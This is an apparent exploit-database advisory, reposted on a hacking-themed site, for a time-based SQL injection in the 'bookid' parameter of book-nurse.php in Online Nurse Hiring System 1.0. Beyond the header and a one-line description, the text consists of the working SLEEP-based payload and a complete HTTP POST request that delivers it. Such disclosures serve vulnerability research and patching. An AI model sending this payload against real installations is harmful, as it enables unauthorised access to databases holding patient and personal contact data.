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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Online Nurse Hiring System 1.0 - 'bookid' Time-Based SQL Injection
# Date: 03/10/2023
# Exploit Author: Alperen Yozgat
# Vendor Homepage: https://phpgurukul.com/online-nurse-hiring-system-using-php-and-mysql
# Software Link: https://phpgurukul.com/?sdm_process_download=1&download_id=17826
# Version: 1.0
# Tested On: Kali Linux 6.1.27-1kali1 (2023-05-12) x86_64 + XAMPP 7.4.30

## Description ##

On the book-nurse.php page, the bookid parameter is vulnerable to SQL Injection vulnerability.

## Proof of Concept ##

# After sending the payload, the response time will increase to at least 5 seconds.
# Payload: 1'+AND+(SELECT+2667+FROM+(SELECT(SLEEP(5)))RHGJ)+AND+'vljY'%3d'vljY

POST /onhs/book-nurse.php?bookid=1'+AND+(SELECT+2667+FROM+(SELECT(SLEEP(5)))RHGJ)+AND+'vljY'%3d'vljY HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
Cookie: PHPSESSID=0ab508c4aa5fdb6c55abb909e5cbce09

contactname=test&contphonenum=1111111&contemail=test%40test.com&fromdate=2023-10-11&todate=2023-10-18&timeduration=1&patientdesc=3&submit=